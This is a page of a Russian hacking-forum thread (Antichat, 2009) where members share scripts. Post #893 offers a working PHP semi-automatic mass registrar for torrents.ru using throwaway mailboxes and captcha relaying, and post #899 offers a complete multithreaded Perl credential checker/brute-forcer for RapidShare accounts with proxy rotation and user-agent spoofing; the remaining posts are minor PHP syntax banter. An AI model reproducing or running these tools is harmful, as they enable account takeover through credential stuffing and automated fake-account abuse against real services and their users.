ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #891  
Старый 13.09.2009, 19:08
Аватар для mr.The
mr.The
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме:
4778940

Репутация: 1257


Отправить сообщение для mr.The с помощью ICQ
По умолчанию

m0Hze http://mrthe.name/2009/08/kak-hranit...-polzovatelej/
кагбэ советую почитать.
 
Ответить с цитированием

  #892  
Старый 13.09.2009, 21:03
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Цитата:
Сообщение от mr.The  
m0Hze http://mrthe.name/2009/08/kak-hranit...-polzovatelej/
кагбэ советую почитать.
Никогда не знал об этом !
(Я храню не пассы в хешах,а кое что другое)
Так что не актуально.Тот кому это нужно - посомтрит и поймет
 
Ответить с цитированием

  #893  
Старый 14.09.2009, 20:38
Аватар для geforse
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
По умолчанию

Полуавтоматический регистратор Torrents.ru



PHP код:
<?php
@set_time_limit(0);
@
ignore_user_abort(1);
//-----------------//
$torrents 'torrents.txt';   // Файл с аккаунтами
$divider ':';              //  Разделитель
$sleep '30';              //   Задержка для проверки E-mail
$proxy '';               //    Можно через покси (127.0.0.1:8008)
$log '0';               //     1 - Если нужно писать логи
$log_txt 'log.txt';    //      Log-файл
//-----------------//
 
   
function post($url,$post,$refer,$proxy)
        {
       
$ch curl_init($url);
       
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
       
curl_setopt($chCURLOPT_POST1);
       
curl_setopt($chCURLOPT_POSTFIELDS$post);
       
curl_setopt($chCURLOPT_REFERER$refer);
       
curl_setopt($chCURLOPT_COOKIEJAR"./cook");
       
curl_setopt($chCURLOPT_COOKIEFILE"./cook");
       
curl_setopt($chCURLOPT_TIMEOUT10);  
       
curl_setopt($chCURLOPT_PROXY$proxy);
       
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
       
curl_setopt($chCURLOPT_RETURNTRANSFER1);
       
$result  curl_exec($ch);
       return 
$result;
     }
 
    if (
$proxy == '')
      {
        
$proxy null;
      }    
 
    
/* Если нам передали капчу... */
    
if ($_POST['captcha'])
     { 
        
/* Регистрируем E-mail */
       
$result post('http://odnorazovoe.ru/inbox.php?mailbox='.$_POST['login'],null,'http://odnorazovoe.ru/',$proxy);
 
    
/* Массив с данными */
    
$postdata = array(
        
'method'    => 'post'
        
'mode'       => 'register'
        
'reg_agreed'      => '1',
        
'sid'    => '',
        
'username'    => $_POST['login'],
        
'email'    => $_POST['login'].'@odnorazovoe.ru',
        
'new_password'    => $_POST['password'],
        
'password_confirm'    => $_POST['password'],
    
'cap_sid'      => $_POST['cap_sid'],
        
'cap_code_'.$_POST['cap_code_']    => $_POST['captcha'],
        
'user_flag_id'    => '0',
    
'user_timezone_x2' => '6',
    
'submit' => 'Отправить',       
    );
 
       
/* Отправка данных */     
       
$result post('http://torrents.ru/forum/profile.php',$postdata,'http://torrents.ru/forum/profile.php?mode=register',$proxy);
 
      if(
$log == '1')
         {
            
$fh fopen($log_txt"a+");
            
$success fwrite($fh$login."Ждём URL-активации [".date("H:i")."]\r\n");
            
fclose($fh);
           }
 
         
/* Цикл проверки почты */
      
while($email[1] == null)
       {
         
$result_email post('http://odnorazovoe.ru/inbox.php?mailbox='.$_POST['login'],null,'http://odnorazovoe.ru/',$proxy);
         
preg_match('#eml.php(.*?)"#i',$result_email,$email);
         
sleep($sleep);
       }
 
       
/* Получаем URL-активации */
       
$result post('http://odnorazovoe.ru/eml.php'.$email[1],null,'http://odnorazovoe.ru/',$proxy);
       
preg_match('#activate(.*?)<#i',$result,$url);
       
$url str_replace("&amp;","&",$url[1]);
 
       
/* Отправляем данные */
       
$result post('http://torrents.ru/forum/profile.php?mode=activate'.$url,null,'http://odnorazovoe.ru/',$proxy);
 
       if(
preg_match('#активиз(.*?)\.#i',$result,$end))
        {
          
/* Сохраняем результат */
          
$fh fopen($torrents"a+");
          
$success fwrite($fh$_POST['login'].$divider.$_POST['password']."\r\n");
          
fclose($fh);
 
        if(
$log == '1')
             {
           
$fh fopen($log_txt"a+");
               
$success fwrite($fh"Зарегистрировались [".date("H:i")."]\r\n");
               
fclose($fh);
         }    
        
Header('Location: index.php');
        }
    }
    else
    {
    
/* ...если не передали капчу */
    
$letters 'abcdefghijklmopkqrstuvwxyz';
    for (
$i 0$i 20$i++)
      {
        
$login .= $letters{rand(0strlen($letters) - 1)};
      }
         
$password rand(123456,7777777);
         
$name rand(0,7777777);
 
      
/* Получаем страницу регистрации */
      
$result post('http://torrents.ru/forum/profile.php?mode=register','reg_agreed=1','http://torrents.ru/forum/profile.php?mode=register',$proxy);
 
             
/* Вытаскиваем нужные значения */
         
preg_match('#http://static.torrents.ru/captcha/(.*?)"#i',$result,$match);
             
preg_match('#cap_sid" value="(.*?)"#i',$result,$match_sid);
         
preg_match('#cap_code_(.*?)"#i',$result,$match_cap);
 
         
/* Регистрация на трекере ограничена */
         
if($match[1] == '')
          {
            echo 
'<script>alert(\'В данный момент регистрация закрыта!\')</script>';        
          }
    }
 
/* geforse.name */
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
 
<meta http-equiv="Content-Style-Type" content="text/css">
<title>torrents.ru | geforse.name</title>
 
 
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
 
<link rel="search" type="application/opensearchdescription+xml" title="Поиск на torrents.ru" href="http://static.torrents.ru/opensearch.xml">
 
<link rel="stylesheet" type="text/css" href="http://static.torrents.ru/templates/default/css/main.css?v=18" media="all">
</head><body>
 
<div id="preload" style="overflow: hidden; position: absolute; top: 0pt; left: 0pt; height: 1px; width: 1px;"></div>
 
<div id="body_container">
<div id="page_container">
<a name="top"></a>
 
<div id="page_header">
<div id="logo">
    <table cellpadding="0" cellspacing="0" width="100%">
    <tbody><tr>
        <td style="padding: 4px 0pt 5px;">
            <a href="http://torrents.ru/forum/index.php"><img src="http://static.torrents.ru/images/logo/logo.gif" alt="logo" height="85" width="320"></a>
        </td>
    </tr>
    </tbody></table>
</div>
 
<div class="topmenu">
<table cellpadding="0" cellspacing="0" width="100%">
<tbody><tr>
</tr>
</tbody></table>
</div>
<div id="page_content">
<table style="width: 100%;" border="0" cellpadding="0" cellspacing="0"><tbody><tr>
 
<td id="main_content">
<div id="main_content_wrap">
<h1 class="pagetitle">Регистрация</h1>
<form action="index.php" method="post">
 
<table class="forumline usercp_register">
<col class="row1" width="35%">
<col class="row2" width="65%">
<tbody class="pad_4">
<tr>
    <th colspan="2">Регистрационная информация</th>
</tr>
<tr>
</tr>
<tr>
</tr>
<tr>
</tr>
<tr>    
</tr>
<tr>    
</tr>
<tr>
    <td>Код подтверждения:</td>
    <td>
            <div><img src="http://static.torrents.ru/captcha/<?php echo $match[1]; ?>" alt="pic" height="72" width="120"></div>
            <div>
                <input name="captcha" value="" class="bold" type="text">
                <input type="hidden" name="cap_sid" value="<?php echo $match_sid[1]; ?>" />
                <input type="hidden" name="cap_code_" value="<?php echo $match_cap[1]; ?>" />
                <input type="hidden" name="name" value="<?php echo $name?>" />
                <input type="hidden" name="login" value="<?php echo $login?>" />
                <input type="hidden" name="password" value="<?php echo $password?>" />
            </div>
            <br>
          <a href="http://geforse.name/" target="_blank">geforse.name</a>
        </td>
</tr>
    <tr>
        <td class="row2" colspan="2">
        <div id="infobox-wrap" class="bCenter row1">            
        </div>
        </td>
    </tr>    
<tr>
    <td class="catBottom" colspan="2">
    <div id="submit-buttons">
        <input name="submit" value="Отправить" class="bold" type="submit">&nbsp;&nbsp;
            </div>
    </td>
</tr>
</tbody>
</table>
</form>
    </div>
    </td>
</tr></tbody></table>
    </div>
    </div>
    </div>
    </body></html>


P.S. регистрация доступна 16:00-18:00, поэтому не нужно пытаться запускать скрипт в другое время

/* geforse.name */
 
Ответить с цитированием

  #894  
Старый 14.09.2009, 21:39
Аватар для b3
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

PHP код:
<input type="hidden" name="cap_sid" value="<?php echo $match_sid[1]; ?>" /> 
<input type="hidden" name="cap_code_" value="<?php echo $match_cap[1]; ?>" /> 
<input type="hidden" name="name" value="<?php echo $name?>" /> 
<input type="hidden" name="login" value="<?php echo $login?>" /> 
<input type="hidden" name="password" value="<?php echo $password?>" />
Можно везде заменить на:
PHP код:
<input type="hidden" name="name" value="<?=$name;?>" />
 
Ответить с цитированием

  #895  
Старый 15.09.2009, 18:27
Аватар для geforse
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
Smile

Думаем => Проверяем => Пишем

b3, у вас со вторым шагом проблемы

Вот вы написали $name; и по вашему что, интерпретатор php догадается что нужно вывести эту переменную на экран ?
 
Ответить с цитированием

  #896  
Старый 15.09.2009, 18:37
Аватар для L I G A
L I G A
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме:
4532332

Репутация: 1196


Отправить сообщение для L I G A с помощью ICQ
По умолчанию

Цитата:
Сообщение от geforse  
Думаем => Проверяем => Пишем

b3, у вас со вторым шагом проблемы

Вот вы написали $name; и по вашему что, интерпретатор php догадается что нужно вывести эту переменную на экран ?
PHP код:
 <input type="hidden" name="name" value="<?=$name;?>" />
выведет значение переменной $name
 
Ответить с цитированием

  #897  
Старый 15.09.2009, 18:38
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

geforse, а по моему это у вас проблемы со знанием языка PHP.
 
Ответить с цитированием

  #898  
Старый 15.09.2009, 18:42
Аватар для geforse
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
По умолчанию

не знал что равно перед переменной в данном случае выведет её значение )

беру слова назад)
 
Ответить с цитированием

  #899  
Старый 16.09.2009, 18:47
Аватар для Gaus
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
Smile

Писал когда то чекер/брутер акков рапиды
Код:
#!/usr/bin/perl
#RapidShare.com checker by Gaus
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';

#################################################
my $threads_count = 1;                          # Кол-во потоков
my $file_accounts = 'accs.txt';                 # Файл с акками
my $file_valid_accounts = 'valid.txt';          # Файл с валидными акками
my $delm_accounts = ';';                        # Разделитель списка акков
my $proxy_file = 'proxy.txt';                   # Файл с прокси
my $proxy_mode = 'OFF';                         # Юзать прокси(ON/OFF)
#################################################

my @accs : shared = lf($file_accounts);
my @proxys : shared = lf($proxy_file);
threads->new(\&main) for 1 .. $threads_count;
$_->join for threads->list;
sub main
{
    while(@accs)
    {
        my $ua = LWP::UserAgent->new(timeout => 35,
                                     cookie_jar => new HTTP::Cookies,
                                     agent => agent());
        if($proxy_mode eq 'ON')
        {
            until(proxy($ua)){}
        }
        my ($login, $pass) = split $delm_accounts => shift @accs;
        my $answ = $ua->post("https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi",
                           ["uselandingpage" => 1,
                            "login" => $login,
                            "password" => $pass])->code;
        if($answ == 302)
        {
            wf($file_valid_accounts, "$login:$pass\n");
            print "[ + ] $login:$pass\n";
        }
        else
        {
            print "[ - ] $login:$pass\n";
        }
    }
}
sub proxy
{
    my $ua = shift;
    my ($ip,$port) = split ':' => $proxys[rand scalar @proxys];
    $ua->proxy('http' => "http://$ip:$port");
    my $test = $ua->get('http://zerg.helllabs.com.ua/cgi-bin/textenv.pl')->content;
    if($test =~ m,REMOTE_ADDR=$ip,i)
    {
        print "[ + ] Current proxy: $ip:$port\n";
        return 1;
    }
    else
    {
        print "[ - ] Error proxy: $ip:$port\n";
        return 0;
    }
}
sub agent
{
    my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
    return $agents[rand scalar @agents];
}
sub lf
{
    open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
    chomp(my @data = <$dat>);
    close $dat;
    return @data;
}
sub wf
{
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat;
}
 
Ответить с цитированием

  #900  
Старый 17.09.2009, 02:26
Аватар для Gar|k
Gar|k
Постоянный
Регистрация: 20.03.2009
Сообщений: 564
Провел на форуме:
991929

Репутация: 395


По умолчанию

Я тут щас вспомнил одну штуку которую я юзал года 2 назад... это stdClass (уверен что многие даже не знают о его существовании). Это встроенный в php обьект (незнаю был ли он в php3 но в 4 версии был точно) он не поддерживает методов, но в нем очень удобно хранить любые данные и переменные. Если вы приверженец функцонального программирования stdClass избавит вас от проблемы области видимости переменных (аля global $a,$b,$c.....$z; блин не работает ааа!!! забыл $z1 прописать...)

PHP код:
$obj = new StdClass;
$obj->a="Hay";
$obj->b=array("a","b","c");
$obj->x=1
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ